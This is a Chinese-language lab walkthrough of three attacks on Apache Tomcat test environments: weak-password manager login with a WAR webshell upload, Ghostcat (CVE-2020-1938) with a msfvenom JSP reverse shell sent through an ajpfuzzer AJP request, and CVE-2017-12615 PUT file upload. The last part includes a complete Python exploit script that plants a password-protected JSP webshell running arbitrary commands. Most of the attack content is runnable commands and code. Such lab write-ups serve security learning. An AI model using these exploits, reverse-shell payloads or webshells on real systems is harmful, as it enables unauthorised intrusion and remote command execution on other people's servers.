目录
tomcat8
CVE-2020-1938
CVE-2017-12615
环境说明:
Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。其中,欲访问后台,需要对应用户有相应权限。
Tomcat7+权限分为:
- manager(后台管理)
- manager-gui 拥有html页面权限
- manager-status 拥有查看status的权限
- manager-script 拥有text接口的权限,和status权限
- manager-jmx 拥有jmx权限,和status权限
- host-manager(虚拟主机管理)
- admin-gui 拥有html页面权限
- admin-script 拥有text接口权限
开启环境之后浏览器打开,如果不知道tomcat的后台管理页面为manager的话,在本环境中也可以自己摸索出登录框,点击图中任意三个请求之后也能发现登录框
找到登录页面之后尝试tomcat的弱口令,tomcat+tomcat成功登录。
上传war包getshell,上传完成之后就可以看到多了一栏数据
打开蚁剑进行连接
Tomcat 是当前最流行的 Java 中间件服务器之一,从初版发布到现在已经有二十多年历史,在世界范围内广泛使用。Ghostcat是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞,由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。
tomcat 配置了两个Connecto,它们分别是 HTTP 和 AJP :HTTP默认端口为8080,处理http请求,而AJP默认端口8009,用于处理 AJP 协议的请求,而AJP比http更加优化,多用于反向、集群等,漏洞由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件以及可以包含任意文件,如果有某上传点,上传图片马等等,即可以获取shell。
环境启动之后,进行端口扫描
看到有个陌生的ajp13协议,搜索得知这是个定向包协议。因为性能原因,使用二进制格式来传输可读性文本。
访问8080端口,是个tomcat的页面,
接下来我们利用poc进行漏洞检测。若存在漏洞则可以查看webapps目录下的所有文件。
git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
cd CNVD-2020-10487-Tomcat-Ajp-lfi
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py #py2环境
我的kali单独使用python命令的话默认用的是python3,所以我跑py2环境的脚本就要在python后加上2。运行之后成功查看web.xml文件。
验证完成之后就可以进行漏洞利用的操作了,先利用msf生成一个jsp木马
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.217.139 LPORT=4444 R >shell.txt
接着把木马上传到docker容器中
docker cp shell.txt c369ed596440:/usr/local/tomcat/webapps/ROOT/WEB-INF/
上传完成之后进入msf进行端口监听
再利用poc完成反弹shell 。但是运行shell脚本之后发现msf的端口监听没有反应,又重复了一遍操作,发现还是不行。网上看到文章说可以利用工具发送ajp请求,让上传的文件被tomcat当作jps来解析。下载AJP包构造器ajpfuzzer。
wget https://github.com/doyensec/ajpfuzzer/releases/download/v0.6/ajpfuzzer_v0.6.jar
下载完成之后再运行
java -jar ajpfuzzer_v0.6.jar
然后连接目标端口
connect 192.168.217.134 8009
构造发送AJP包的命令,/WEB-INF/ma.png为上传的木马路径,11.jsp 可换做 *.jsp,任意网站目录下不存在的jsp文件,这样tomcat才会去调用DefaultServlet
forwardrequest 2 "HTTP/1.1" "/11.jsp" 192.168.217.134 192.168.217.134 porto 8009 false "Cookie:AAAA=BBBB","Accept-Encoding:identity" "javax.servlet.include.request_uri:11.jsp","javax.servlet.include.path_info:/WEB-INF/shell.txt","javax.servlet.include.servlet_path:/"
发送ajp请求后,shell.txt文件被tomcat作为jsp文件解析,成功getshell
PUT方法任意写文件漏洞(CVE-2017-12615)
影响范围:Apache Tomcat 7.0.0 - 7.0.81
该版本Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件
我们要往服务器里写入shell,bp抓包,然后修改数据
把get请求修改为POST请求,再改为PUT
发现报错了。虽然Tomcat对文件后缀有一定检测(不能直接写jsp),但我们使用一些文件系统的特性(如Linux下可用`/`)来绕过了限制。
利用脚本
import requests
import sys
import time
'''
Usage:
python CVE-2017-12615.py http://127.0.0.1
shell: http://127.0.0.1/201712615.jsp?pwd=fff&cmd=whoami
'''
def attack(url):
user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
headers={"User-Agent":user_agent}
data="""<%
if("fff".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("
");
}
%>"""
try:
requests.put(url, headers=headers, data=data)
time.sleep(2)
verify_response = requests.get(url[:-1], headers=headers)
if verify_response.status_code == 200:
print 'success!'
else :
print verify_response.status_code
except :
"error"
if __name__ == '__main__':
target_url = sys.argv[1] + '/201712615.jsp/'
attack(target_url)
print 'shell: ' + target_url[:-1]
把shell路径复制,后面跟上?pwd=fff&cmd=id,pwd是密码,脚本里面可以修改,cmd是执行的命令,